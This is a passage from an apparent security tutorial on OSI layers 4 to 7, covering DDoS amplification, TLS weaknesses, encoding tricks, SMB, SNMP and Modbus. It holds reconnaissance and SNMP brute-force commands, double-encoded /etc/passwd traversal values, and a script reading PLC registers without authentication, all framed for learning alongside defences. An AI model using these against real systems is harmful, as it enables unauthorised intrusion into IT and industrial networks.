&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Amplification factors:
  DNS:     28-54x (small query, large response with DNSSEC)
  NTP:     556x (monlist command — CVE-2013-5211)
  SSDP:    30x
  Memcached: 51,000x (CVE-2018-1000115 — this was the 1.7 Tbps attack)
  CLDAP:   70x

Attack formula:
  1. Attacker sends 100 Mbps of spoofed UDP queries
  2. With 50x amplification → victim receives 5 Gbps
  3. With 1,000 reflectors → 5 Tbps saturates any link

Mitigation:
  BCP38: ISPs filter spoofed source IPs (prevents amplification source)
  Rate limiting: Limit DNS response rate per source IP
  Disable unused services: NTP monlist disabled by default since ntpd 4.2.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;QUIC — The Modern Transport:&lt;/strong&gt;&lt;br&gt;
QUIC (Quick UDP Internet Connections) is a L4 protocol built on UDP, developed by Google, standardised in RFC 9000 (2021). It powers HTTP/3.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QUIC advantages:
  - Zero RTT connection establishment (vs TCP's 1 RTT + TLS's 1-2 RTT)
  - Built-in encryption (TLS 1.3 integrated — not optional)
  - Independent streams (one stream's loss doesn't block others)
  - Connection migration (IP address can change without dropping connection)
  - Used by: Google services, Cloudflare, Meta, ~25% of internet traffic (2024)

Security implications:
  - QUIC traffic is UDP, which many firewalls/IDS process less thoroughly than TCP
  - Always encrypted → prevents inspection without interception
  - Connection migration → complicates network forensics (connection ID instead of 5-tuple)
  - Fallback to TCP+TLS if UDP blocked → attackers cannot force QUIC only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The transport layer is where most network security controls operate — firewalls filter by port number, IDS/IPS inspect transport-layer behaviour, connection tracking is at Layer 4. Understanding TCP state (SYN, SYN-ACK, established, TIME_WAIT) and UDP's statelessness is essential for understanding how firewalls work, how to evade them, and how to build detection rules. Every port scanner, every firewall rule, every network IDS signature starts at Layer 4.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Layer 5 — Session
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 What Layer 5 Does
&lt;/h3&gt;

&lt;p&gt;Layer 5 manages &lt;strong&gt;sessions&lt;/strong&gt; — logical dialogues between applications. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Session establishment, maintenance, and termination&lt;/li&gt;
&lt;li&gt;Session synchronisation (checkpoints for recovery)&lt;/li&gt;
&lt;li&gt;Session multiplexing (multiple sessions over one transport connection)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, the Session layer is the most abstract and least distinctly implemented of the seven layers. In the TCP/IP world, its functions are largely absorbed by the Application layer and the Transport layer. But conceptually it remains important, and several protocols and mechanisms specifically implement Session layer functionality.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Session Layer Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NetBIOS (Network Basic Input/Output System):&lt;/strong&gt;&lt;br&gt;
NetBIOS provides session services for Windows networking — name registration, name resolution, and session establishment. Runs over UDP 137-138 (NetBIOS Name Service and Datagram Service) and TCP 139 (NetBIOS Session Service).&lt;/p&gt;

&lt;p&gt;NetBIOS is legacy technology but remains pervasive in enterprise environments for backward compatibility. It is the basis of several critical attack techniques:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# NetBIOS name resolution (legacy Windows name resolution)&lt;/span&gt;
nmblookup &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.100          &lt;span class="c"&gt;# NetBIOS names for IP address&lt;/span&gt;
nmblookup &lt;span class="s2"&gt;"WORKGROUP"&lt;/span&gt;               &lt;span class="c"&gt;# Find all machines in workgroup&lt;/span&gt;

&lt;span class="c"&gt;# NetBIOS scanning — enumerate Windows machines&lt;/span&gt;
nbtscan 192.168.1.0/24

&lt;span class="c"&gt;# NetBIOS names have specific suffixes indicating service:&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;00&amp;gt; = Workstation service&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;20&amp;gt; = File Server service&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;1D&amp;gt; = Master Browser&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;1B&amp;gt; = Domain Master Browser&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RPC — Remote Procedure Call:&lt;/strong&gt;&lt;br&gt;
RPC allows a program to call functions on a remote system as if they were local. Microsoft's implementation (MSRPC) is the foundation of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active Directory (Kerberos, LDAP, replication use RPC)&lt;/li&gt;
&lt;li&gt;Windows management (WMI)&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;li&gt;DCOM
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RPC uses a portmapper (TCP/UDP 111 on Unix, TCP 135 on Windows)
to tell clients which port a specific RPC service is listening on.
This is why Windows systems have many high ports open — RPC services
bind to random high ports and register with the portmapper.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;RPC attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MS03-026 (2003): Buffer overflow in Windows RPC service — used by Blaster and Welchia worms to infect millions of machines&lt;/li&gt;
&lt;li&gt;MS17-010 (2017): EternalBlue — exploited SMBv1 over RPC, used by WannaCry and NotPetya&lt;/li&gt;
&lt;li&gt;CVE-2022-26809: Windows RPC RCE vulnerability, CVSS 9.8, required no authentication&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  7.3 TLS Handshake — Session Layer in Practice
&lt;/h3&gt;

&lt;p&gt;TLS (Transport Layer Security) is commonly described as a Presentation layer protocol (for its encryption), but its handshake and session establishment functions are clearly Session layer. The TLS handshake establishes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which cipher suite to use&lt;/li&gt;
&lt;li&gt;Server (and optionally client) authentication via certificates&lt;/li&gt;
&lt;li&gt;Session key derivation
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.3 Handshake (simplified):
Client                              Server
  │                                   │
  │── ClientHello ─────────────────→  │  Supported ciphers, TLS version, random
  │   + key_share (Diffie-Hellman)    │  Client's DH public key
  │                                   │
  │ ←─ ServerHello ─────────────────  │  Selected cipher, server's DH public key
  │ ←─ {Certificate} ───────────────  │  Server's certificate (encrypted in TLS 1.3)
  │ ←─ {CertificateVerify} ─────────  │  Proof server owns the private key
  │ ←─ {Finished} ──────────────────  │
  │                                   │
  │── {Finished} ───────────────────→ │
  │                                   │
  │═══════════[Encrypted Data]════════│

{} = already encrypted using derived session key
Key: Both sides compute identical session key from DH exchange
     (Perfect Forward Secrecy — key not derived from certificate private key)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;TLS attack surface:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Downgrade attacks:&lt;/strong&gt; POODLE (CVE-2014-3566) forced SSLv3; DROWN (CVE-2016-0800) exploited SSLv2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BEAST (CVE-2011-3389):&lt;/strong&gt; Exploited CBC mode in TLS 1.0&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heartbleed (CVE-2014-0160):&lt;/strong&gt; OpenSSL heap buffer over-read in TLS heartbeat extension — leaked server memory including private keys, session tokens, passwords. One of the most impactful vulnerabilities ever discovered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certificate validation failures:&lt;/strong&gt; Many implementations historically failed to properly validate certificates (wrong hostname, expired, self-signed). HTTPS everywhere means certificate validation is now enforced in browsers.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check TLS configuration of a server&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 &lt;span class="nt"&gt;-tls1_2&lt;/span&gt;    &lt;span class="c"&gt;# Force TLS 1.2&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443            &lt;span class="c"&gt;# Negotiate highest supported&lt;/span&gt;

&lt;span class="c"&gt;# SSLScan — comprehensive TLS testing&lt;/span&gt;
sslscan target:443

&lt;span class="c"&gt;# TestSSL.sh — detailed TLS security testing&lt;/span&gt;
testssl.sh target:443
&lt;span class="c"&gt;# Shows: supported versions, cipher suites, vulnerabilities (BEAST, POODLE, etc.)&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 &amp;lt;/dev/null 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Subject:|Issuer:|Not After"&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate TLS certificate information (useful for OSINT)&lt;/span&gt;
&lt;span class="c"&gt;# Certificates reveal: organisation name, internal hostnames (SANs),&lt;/span&gt;
&lt;span class="c"&gt;# email addresses, sometimes infrastructure details&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The Session layer is where authentication and encryption sessions are established. Attacking TLS (the most important session protocol in existence) is a rich field — every major TLS vulnerability has had massive real-world impact because TLS is on every HTTPS connection. Understanding how TLS establishes sessions is prerequisite to understanding SSL stripping, certificate pinning bypass, TLS interception proxies, and the entire HTTPS ecosystem.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  8. Layer 6 — Presentation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  8.1 What Layer 6 Does
&lt;/h3&gt;

&lt;p&gt;Layer 6 is responsible for &lt;strong&gt;data format translation&lt;/strong&gt;. It ensures that data from the application layer of one system can be read by the application layer of another system, regardless of internal representation differences. It handles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Encoding/decoding:&lt;/strong&gt; Converting data to a transmittable format and back&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption/decryption:&lt;/strong&gt; Transforming data to protect confidentiality&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compression/decompression:&lt;/strong&gt; Reducing data size for transmission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Like Layer 5, Layer 6 is not implemented as a distinct layer in TCP/IP. Its functions are performed by specific protocols (TLS for encryption, HTTP Content-Encoding for compression) or by the application itself.&lt;/p&gt;
&lt;h3&gt;
  
  
  8.2 Data Encoding Formats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ASCII and Unicode:&lt;/strong&gt;&lt;br&gt;
Every text character transmitted on a network is encoded as a numeric value. ASCII (7-bit, 128 characters) is the historical standard. Unicode (UTF-8, UTF-16, UTF-32) extends this to cover all human writing systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security implication of encoding:&lt;/strong&gt;&lt;br&gt;
Different systems interpret the same byte sequences differently based on encoding. This has been the source of many vulnerabilities:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UTF-8 multi-byte sequences and security:
  Normal: /etc/passwd  = 0x2F 0x65 0x74 0x63 ...
  Encoded: /%65%74%63/passwd  (URL encoding of 'e', 't', 'c')
           = /etc/passwd after decoding

  Some web application firewalls decode only once.
  Double encoding: %%36%35 → %65 → 'e' after two decode steps
  Some WAFs only decode once, missing the double-encoded attack

Unicode normalisation attacks:
  Some characters look visually identical but have different code points
  U+002F = "/" (normal slash)
  U+FF0F = "／" (fullwidth solidus) — visually identical
  A system that normalises before validation may accept ／etc/passwd
  and then access /etc/passwd after normalisation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Base64:&lt;/strong&gt;&lt;br&gt;
Base64 encodes binary data as printable ASCII characters. It is NOT encryption — it is encoding. Base64 is used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transmit binary data in text-based protocols (email attachments in MIME)&lt;/li&gt;
&lt;li&gt;Obfuscate (not secure) data from casual inspection&lt;/li&gt;
&lt;li&gt;Encode credentials in HTTP Basic Authentication&lt;/li&gt;
&lt;li&gt;Encode PowerShell commands to bypass simple keyword detection
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encode&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"admin:password"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;      &lt;span class="c"&gt;# YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;

&lt;span class="c"&gt;# Decode&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"YWRtaW46cGFzc3dvcmQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;   &lt;span class="c"&gt;# admin:password&lt;/span&gt;

&lt;span class="c"&gt;# HTTP Basic Auth header:&lt;/span&gt;
&lt;span class="c"&gt;# Authorization: Basic YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;
&lt;span class="c"&gt;# This is NOT encrypted or secure — trivially decoded&lt;/span&gt;
&lt;span class="c"&gt;# Only safe over HTTPS&lt;/span&gt;

&lt;span class="c"&gt;# Detecting base64 in logs (common in PowerShell attacks)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-P&lt;/span&gt; &lt;span class="s1"&gt;'[A-Za-z0-9+/]{50,}={0,2}'&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# PowerShell -EncodedCommand is always base64&lt;/span&gt;
&lt;span class="c"&gt;# Defenders must decode and inspect these&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  8.3 Compression and Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CRIME and BREACH — Compression Oracle Attacks:&lt;/strong&gt;&lt;br&gt;
If data is compressed before being encrypted, and an attacker can inject data into the stream and observe the encrypted output length, they can infer information about the plaintext. Compression reduces repetition — if an attacker's injected string reduces the compressed size, it means the string appears in the plaintext.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CRIME (CVE-2012-4929):&lt;/strong&gt; Exploited TLS-level compression (DEFLATE) to recover HTTPS cookies. Fixed by disabling TLS-level compression.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BREACH (2013):&lt;/strong&gt; Exploited HTTP-level compression (gzip). Not a CVE but a design weakness. HTTPS body compression can leak secrets even when TLS is uncompromised.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BREACH attack in brief:
1. Attacker can make victim's browser send authenticated HTTP requests
   (through JavaScript injection on another page)
2. HTTP response is compressed+encrypted
3. Attacker injects guesses into the URL: ?csrf_guess=a, ?csrf_guess=b, etc.
4. Measures encrypted response length
5. When guess matches part of the real CSRF token, compression is more effective
   and encrypted response is shorter
6. Character by character, attacker recovers the full CSRF token

This works because gzip compresses repeated strings efficiently.
If the secret appears twice (real + attacker's guess), the compressed size drops.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  8.4 Encryption at Layer 6
&lt;/h3&gt;

&lt;p&gt;While IPSec operates at Layer 3, TLS at Layers 5-6, and application-level encryption at Layer 7, the Presentation layer is conceptually where encryption transforms plaintext to ciphertext and back.&lt;/p&gt;

&lt;p&gt;For security professionals, the critical understanding is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Encryption placement matters enormously:

End-to-end (application layer encryption, e.g., PGP email):
  [User A] → [encrypted] → [Server] → [encrypted] → [User B]
  Server sees: only encrypted data. Cannot read content.

TLS (transport/presentation encryption, e.g., HTTPS):
  [User A] → [encrypted] → [Server] → [plaintext] → [User B's server]
  The TLS-terminating server sees plaintext.
  CDN, load balancers, inspection proxies: all see plaintext

Network layer encryption (IPSec):
  [Host A] → [encrypted] → [VPN Gateway] → [plaintext] → [internal network]
  Everything beyond the VPN gateway is plaintext
  Lateral movement after VPN access is unencrypted unless additional layers exist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This hierarchy is why Zero Trust architectures use end-to-end or application-level encryption even inside the "trusted" network — because TLS termination points and VPN gateways represent points where traffic is cleartext.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 6 is where data format vulnerabilities live — encoding attacks, compression oracles, serialisation vulnerabilities. It is also where encryption is logically applied, and understanding which layer terminates encryption determines what any given system can inspect. A CDN that terminates TLS sees your plaintext. An IPSec VPN gateway sees plaintext past the gateway. This shapes both attack and defence architecture.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Layer 7 — Application
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 What Layer 7 Does
&lt;/h3&gt;

&lt;p&gt;Layer 7 is the layer closest to the user. Application layer protocols define the rules for specific types of communication — how web browsers request pages, how email is delivered, how domain names are resolved, how files are transferred, and how industrial controllers receive commands.&lt;/p&gt;

&lt;p&gt;Layer 7 is where the vast majority of security vulnerabilities exist. SQL injection, XSS, CSRF, command injection, authentication bypasses — these are all Layer 7 vulnerabilities. The application's logic, not the network infrastructure, is the attack surface.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 Critical Application Layer Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;HTTP/HTTPS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP Request:
  GET /index.html HTTP/1.1          ← Method, URI, version
  Host: example.com                 ← Target host
  User-Agent: Mozilla/5.0...        ← Client identification
  Accept: text/html                 ← Content types accepted
  Cookie: session=abc123            ← Session token ← ATTACK TARGET
  Authorization: Bearer &amp;lt;JWT&amp;gt;       ← Auth token ← ATTACK TARGET
  Content-Length: 0
  [blank line]

HTTP Response:
  HTTP/1.1 200 OK
  Content-Type: text/html
  Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Content-Security-Policy: default-src 'self'
  X-Frame-Options: DENY
  [blank line]
  [body]

Security headers in responses:
  HSTS: Forces HTTPS for specified duration
  CSP: Controls what resources can load (prevents XSS impact)
  X-Frame-Options: Prevents clickjacking
  X-Content-Type-Options: nosniff: prevents MIME sniffing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DNS Transaction:
  Query:   A record for www.example.com?
  Response: www.example.com → 93.184.216.34

DNS record types and security:
  A:    IPv4 address mapping       ← Forward lookup
  AAAA: IPv6 address mapping
  CNAME: Alias to another name     ← Dangling CNAME = subdomain takeover vulnerability
  MX:   Mail server                ← Target for email spoofing if SPF/DKIM/DMARC missing
  TXT:  Arbitrary text             ← SPF, DKIM, DMARC verification records live here
  NS:   Authoritative nameservers  ← NS takeover = complete domain hijacking
  PTR:  Reverse lookup (IP → name)
  SOA:  Zone authority information
  SRV:  Service location           ← Used by Active Directory (Kerberos, LDAP SRV records)

SPF (Sender Policy Framework):
  TXT record listing which IPs may send email for a domain
  "v=spf1 ip4:203.0.113.0/24 include:sendgrid.net -all"
  Without SPF: anyone can send email claiming to be from your domain

DKIM (DomainKeys Identified Mail):
  Email digitally signed with private key
  Public key in DNS TXT record
  Without DKIM: email content can be forged/modified in transit

DMARC (Domain-based Message Authentication):
  Policy for handling emails that fail SPF/DKIM
  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  p=reject: reject emails failing authentication
  Without DMARC with reject: phishing emails appear to come from your domain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SMB — Server Message Block:&lt;/strong&gt;&lt;br&gt;
SMB is the Windows file and printer sharing protocol. It runs on TCP 445 (direct) and TCP 139 (over NetBIOS). SMB is the most attacked protocol in enterprise environments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SMB versions and security:
  SMBv1: No encryption, no integrity, multiple critical vulnerabilities
         EternalBlue &lt;span class="o"&gt;(&lt;/span&gt;MS17-010&lt;span class="o"&gt;)&lt;/span&gt; exploits SMBv1 — WannaCry, NotPetya
         Should be DISABLED everywhere. Microsoft disabled it by default &lt;span class="k"&gt;in &lt;/span&gt;Windows 10/Server 2019

  SMBv2: Introduced &lt;span class="k"&gt;in &lt;/span&gt;Vista/2008. Improved performance and security.
  SMBv3: Introduced &lt;span class="k"&gt;in &lt;/span&gt;Windows 8/2012. Full encryption support.

SMB signing:
  Authentication and integrity protection &lt;span class="k"&gt;for &lt;/span&gt;SMB sessions
  Prevents NTLM relay attacks &lt;span class="o"&gt;(&lt;/span&gt;where captured NTLM authentication is relayed to another server&lt;span class="o"&gt;)&lt;/span&gt;
  Required on domain controllers but NOT enforced client-side by default
  This is why NTLM relay attacks &lt;span class="o"&gt;(&lt;/span&gt;Responder + ntlmrelayx&lt;span class="o"&gt;)&lt;/span&gt; work so effectively

Check SMB signing:
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb2-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 target_ip
&lt;span class="c"&gt;# "message signing enabled but not required" → vulnerable to relay attack&lt;/span&gt;
&lt;span class="c"&gt;# "message signing enabled and required" → relay attack prevented&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SNMP — Simple Network Management Protocol:&lt;/strong&gt;&lt;br&gt;
SNMP manages and monitors network devices. Runs on UDP 161 (queries) and UDP 162 (traps).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SNMP versions and security &lt;span class="o"&gt;(&lt;/span&gt;critical &lt;span class="k"&gt;for &lt;/span&gt;OT environments&lt;span class="o"&gt;)&lt;/span&gt;:
  SNMPv1: Community strings &lt;span class="o"&gt;(&lt;/span&gt;plaintext passwords&lt;span class="o"&gt;)&lt;/span&gt;, no encryption
           Default communities: &lt;span class="s2"&gt;"public"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="s2"&gt;"private"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;/write&lt;span class="o"&gt;)&lt;/span&gt;

  SNMPv2c: Minor improvements, still plaintext community strings

  SNMPv3: Authentication &lt;span class="o"&gt;(&lt;/span&gt;MD5/SHA&lt;span class="o"&gt;)&lt;/span&gt; + Encryption &lt;span class="o"&gt;(&lt;/span&gt;DES/AES&lt;span class="o"&gt;)&lt;/span&gt;
           Only secure version — should be the only one deployed

SNMP attack scenarios:
  Reconnaissance: Read MIB &lt;span class="o"&gt;(&lt;/span&gt;Management Information Base&lt;span class="o"&gt;)&lt;/span&gt; to get:
    - Device model, firmware version &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;targeted exploitation&lt;span class="o"&gt;)&lt;/span&gt;
    - Interface configurations, routing tables, ARP tables
    - System &lt;span class="nb"&gt;uptime&lt;/span&gt;, CPU/memory utilisation
    - Installed software list &lt;span class="o"&gt;(&lt;/span&gt;Windows SNMP&lt;span class="o"&gt;)&lt;/span&gt;

  Exploitation: Write access with default &lt;span class="s2"&gt;"private"&lt;/span&gt; community:
    - Change device configuration
    - Disable interfaces
    - Redirect routing
    - On managed switches: change VLAN assignments, disable ports

&lt;span class="c"&gt;# SNMP enumeration&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1                    &lt;span class="c"&gt;# Walk entire MIB&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.1     &lt;span class="c"&gt;# System info&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.4.20  &lt;span class="c"&gt;# IP address table&lt;/span&gt;
snmp-check &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nt"&gt;-v&lt;/span&gt; 2c 192.168.1.1                 &lt;span class="c"&gt;# Comprehensive enumeration&lt;/span&gt;

&lt;span class="c"&gt;# SNMP brute force community string&lt;/span&gt;
onesixtyone &lt;span class="nt"&gt;-c&lt;/span&gt; /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT/ICS Application Layer Protocols:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These deserve extended treatment because they are unique to industrial environments and have almost no security built in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Modbus TCP &lt;span class="o"&gt;(&lt;/span&gt;TCP 502&lt;span class="o"&gt;)&lt;/span&gt;:
  Designed &lt;span class="k"&gt;in &lt;/span&gt;1979 &lt;span class="k"&gt;for &lt;/span&gt;RS-232 serial communication
  No authentication, no encryption, no authorisation
  Anyone on the network can:
    - Read any coil/register &lt;span class="o"&gt;(&lt;/span&gt;FC01, FC02, FC03, FC04&lt;span class="o"&gt;)&lt;/span&gt;
    - Write any coil/register &lt;span class="o"&gt;(&lt;/span&gt;FC05, FC06, FC15, FC16&lt;span class="o"&gt;)&lt;/span&gt;
    - Execute any &lt;span class="k"&gt;function &lt;/span&gt;code
    - Cause denial of service by flooding

  Function Codes:
    0x01: Read Coil Status
    0x02: Read Input Status
    0x03: Read Holding Registers      ← Most common
    0x04: Read Input Registers
    0x05: Force Single Coil           ← Write output — direct physical control
    0x06: Preset Single Register
    0x0F: Force Multiple Coils
    0x10: Preset Multiple Registers   ← Set parameters — change setpoints
    0x11: Report Slave ID             ← Device fingerprinting
    0x17: Read/Write Multiple Registers

  Attack example — &lt;span class="nb"&gt;read &lt;/span&gt;all registers:
    import pymodbus.client as ModbusClient
    client &lt;span class="o"&gt;=&lt;/span&gt; ModbusClient.ModbusTcpClient&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'192.168.1.100'&lt;/span&gt;, &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;502&lt;span class="o"&gt;)&lt;/span&gt;
    client.connect&lt;span class="o"&gt;()&lt;/span&gt;
    result &lt;span class="o"&gt;=&lt;/span&gt; client.read_holding_registers&lt;span class="o"&gt;(&lt;/span&gt;0, 100, &lt;span class="nv"&gt;slave&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;# Read 100 registers&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;result.registers&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;# No authentication required&lt;/span&gt;

DNP3 &lt;span class="o"&gt;(&lt;/span&gt;TCP 20000, UDP 20000&lt;span class="o"&gt;)&lt;/span&gt;:
  Used &lt;span class="k"&gt;in &lt;/span&gt;electric power, water, oil/gas SCADA
  Supports authentication &lt;span class="o"&gt;(&lt;/span&gt;SA&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;DNP3 Secure Authentication v5 &lt;span class="o"&gt;(&lt;/span&gt;SAv5&lt;span class="o"&gt;)&lt;/span&gt;
  but baseline DNP3 has no security

  Attack: spoofed DNP3 requests can control field devices
  Stuxnet used a variant of this concept

